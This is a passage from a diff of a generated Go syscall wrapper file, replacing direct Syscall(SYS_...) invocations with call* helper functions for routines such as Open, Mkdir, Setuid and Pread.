-+func Klogctl(typ int, buf []byte) (n int, err error) {
-+ var _p0 *byte
- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-+ _p0 = &buf[0]
- }
-- r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-+ r0, e1 := callsyslog(typ, uintptr(unsafe.Pointer(_p0)), len(buf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -395,13 +384,13 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Access(path string, mode uint32) (err error) {
-+func Mkdir(dirfd int, path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, e1 := callmkdir(dirfd, uintptr(unsafe.Pointer(_p0)), mode)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -410,8 +399,13 @@ func Access(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callmkdirat(dirfd, uintptr(unsafe.Pointer(_p0)), mode)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -420,13 +414,13 @@ func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Chdir(path string) (err error) {
-+func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, e1 := callmkfifo(uintptr(unsafe.Pointer(_p0)), mode)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -435,13 +429,13 @@ func Chdir(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Chflags(path string, flags int) (err error) {
-+func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, e1 := callmknod(uintptr(unsafe.Pointer(_p0)), mode, dev)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -450,13 +444,13 @@ func Chflags(path string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Chmod(path string, mode uint32) (err error) {
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, e1 := callmknodat(dirfd, uintptr(unsafe.Pointer(_p0)), mode, dev)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -465,13 +459,8 @@ func Chmod(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Chown(path string, uid int, gid int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-+ _, e1 := callnanosleep(uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -480,13 +469,14 @@ func Chown(path string, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Chroot(path string) (err error) {
-+func Open(path string, mode int, perm uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ r0, e1 := callopen64(uintptr(unsafe.Pointer(_p0)), mode, perm)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -495,8 +485,14 @@ func Chroot(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-+func Openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, e1 := callopenat(dirfd, uintptr(unsafe.Pointer(_p0)), flags, mode)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -505,9 +501,13 @@ func Close(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup(fd int) (nfd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
-- nfd = int(r0)
-+func read(fd int, p []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ r0, e1 := callread(fd, uintptr(unsafe.Pointer(_p0)), len(p))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -516,8 +516,18 @@ func Dup(fd int) (nfd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(from int, to int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
-+func Readlink(path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ if len(buf) > 0 {
-+ _p1 = &buf[0]
-+ }
-+ r0, e1 := callreadlink(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), len(buf))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -526,15 +536,32 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Exit(code int) {
-- Syscall(SYS_EXIT, uintptr(code), 0, 0)
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callrenameat(olddirfd, uintptr(unsafe.Pointer(_p0)), newdirfd, uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+func Setdomainname(p []byte) (err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ _, e1 := callsetdomainname(uintptr(unsafe.Pointer(_p0)), len(p))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -543,8 +570,12 @@ func Fchdir(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchflags(fd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
-+func Sethostname(p []byte) (err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ _, e1 := callsethostname(uintptr(unsafe.Pointer(_p0)), len(p))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -553,8 +584,8 @@ func Fchflags(fd int, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-+func Setpgid(pid int, pgid int) (err error) {
-+ _, e1 := callsetpgid(pid, pgid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -563,8 +594,9 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+func Setsid() (pid int, err error) {
-+ r0, e1 := callsetsid()
-+ pid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -573,8 +605,8 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-+func Settimeofday(tv *Timeval) (err error) {
-+ _, e1 := callsettimeofday(uintptr(unsafe.Pointer(tv)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -583,9 +615,8 @@ func Flock(fd int, how int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fpathconf(fd int, name int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
-- val = int(r0)
-+func Setuid(uid int) (err error) {
-+ _, e1 := callsetuid(uid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -594,8 +625,8 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Setgid(uid int) (err error) {
-+ _, e1 := callsetgid(uid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -604,8 +635,8 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-+func Setpriority(which int, who int, prio int) (err error) {
-+ _, e1 := callsetpriority(which, who, prio)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -614,8 +645,13 @@ func Fsync(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), 0, uintptr(length))
-+func Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callstatx(dirfd, uintptr(unsafe.Pointer(_p0)), flags, mask, uintptr(unsafe.Pointer(stat)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -624,33 +660,34 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-- egid = int(r0)
-+func Sync() {
-+ callsync()
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Geteuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-- uid = int(r0)
-+func Times(tms *Tms) (ticks uintptr, err error) {
-+ r0, e1 := calltimes(uintptr(unsafe.Pointer(tms)))
-+ ticks = uintptr(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-- gid = int(r0)
-+func Umask(mask int) (oldmask int) {
-+ r0, _ := callumask(mask)
-+ oldmask = int(r0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-+func Uname(buf *Utsname) (err error) {
-+ _, e1 := calluname(uintptr(unsafe.Pointer(buf)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -659,33 +696,53 @@ func Getpgid(pid int) (pgid int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getpgrp() (pgrp int) {
-- r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
-- pgrp = int(r0)
-+func Unlink(path string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callunlink(uintptr(unsafe.Pointer(_p0)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callunlinkat(dirfd, uintptr(unsafe.Pointer(_p0)), flags)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, e1 := callustat(dev, uintptr(unsafe.Pointer(ubuf)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-+func write(fd int, p []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ r0, e1 := callwrite(fd, uintptr(unsafe.Pointer(_p0)), len(p))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -694,8 +751,9 @@ func Getpriority(which int, who int) (prio int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+func readlen(fd int, p *byte, np int) (n int, err error) {
-+ r0, e1 := callread(fd, uintptr(unsafe.Pointer(p)), np)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -704,8 +762,9 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-+func writelen(fd int, p *byte, np int) (n int, err error) {
-+ r0, e1 := callwrite(fd, uintptr(unsafe.Pointer(p)), np)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -714,9 +773,8 @@ func Getrusage(who int, rusage *Rusage) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, e1 := calldup2(oldfd, newfd)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -725,8 +783,8 @@ func Getsid(pid int) (sid int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Gettimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, e1 := callposix_fadvise64(fd, offset, length, advice)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -735,24 +793,33 @@ func Gettimeofday(tv *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-- uid = int(r0)
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, e1 := callfchown(fd, uid, gid)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Issetugid() (tainted bool) {
-- r0, _, _ := Syscall(SYS_ISSETUGID, 0, 0, 0)
-- tainted = bool(r0 != 0)
-+func fstat(fd int, stat *Stat_t) (err error) {
-+ _, e1 := callfstat(fd, uintptr(unsafe.Pointer(stat)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Kill(pid int, signum syscall.Signal) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), 0)
-+func fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callfstatat(dirfd, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), flags)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -761,9 +828,8 @@ func Kill(pid int, signum syscall.Signal) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Kqueue() (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
-- fd = int(r0)
-+func Fstatfs(fd int, buf *Statfs_t) (err error) {
-+ _, e1 := callfstatfs(fd, uintptr(unsafe.Pointer(buf)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -772,13 +838,8 @@ func Kqueue() (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lchown(path string, uid int, gid int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+func Ftruncate(fd int, length int64) (err error) {
-+ _, e1 := callftruncate(fd, length)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -787,18 +848,45 @@ func Lchown(path string, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Link(path string, link string) (err error) {
-+func Getegid() (egid int) {
-+ r0, _ := callgetegid()
-+ egid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Geteuid() (euid int) {
-+ r0, _ := callgeteuid()
-+ euid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getgid() (gid int) {
-+ r0, _ := callgetgid()
-+ gid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getuid() (uid int) {
-+ r0, _ := callgetuid()
-+ uid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lchown(path string, uid int, gid int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(link)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, e1 := calllchown(uintptr(unsafe.Pointer(_p0)), uid, gid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -807,8 +895,8 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Listen(s int, backlog int) (err error) {
-- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
-+func Listen(s int, n int) (err error) {
-+ _, e1 := calllisten(s, n)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -817,13 +905,13 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func lstat(path string, stat *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, e1 := calllstat(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -832,13 +920,8 @@ func Lstat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mkdir(path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+func Pause() (err error) {
-+ _, e1 := callpause()
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -847,13 +930,13 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mkfifo(path string, mode uint32) (err error) {
-+func Pread(fd int, p []byte, offset int64) (n int, err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+ if len(p) > 0 {
-+ _p0 = &p[0]
- }
-- _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ r0, e1 := callpread64(fd, uintptr(unsafe.Pointer(_p0)), len(p), offset)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -862,13 +945,13 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mknod(path string, mode uint32, dev int) (err error) {
-+func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+ if len(p) > 0 {
-+ _p0 = &p[0]
- }
-- _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
-+ r0, e1 := callpwrite64(fd, uintptr(unsafe.Pointer(_p0)), len(p), offset)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -877,8 +960,9 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, e1 := callselect(nfd, uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -887,14 +971,9 @@ func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Open(path string, mode int, perm uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
-- fd = int(r0)
-+func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, e1 := callpselect(nfd, uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -903,14 +982,8 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pathconf(path string, name int) (val int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
-- val = int(r0)
-+func Setregid(rgid int, egid int) (err error) {
-+ _, e1 := callsetregid(rgid, egid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -919,15 +992,8 @@ func Pathconf(path string, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pread(fd int, p []byte, offset int64) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
-- n = int(r0)
-+func Setreuid(ruid int, euid int) (err error) {
-+ _, e1 := callsetreuid(ruid, euid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -936,15 +1002,8 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
-- n = int(r0)
-+func Shutdown(fd int, how int) (err error) {
-+ _, e1 := callshutdown(fd, how)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -953,15 +1012,9 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-+func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-+ r0, e1 := callsplice(rfd, uintptr(unsafe.Pointer(roff)), wfd, uintptr(unsafe.Pointer(woff)), len, flags)
-+ n = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -970,20 +1023,13 @@ func read(fd int, p []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Readlink(path string, buf []byte) (n int, err error) {
-+func stat(path string, statptr *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
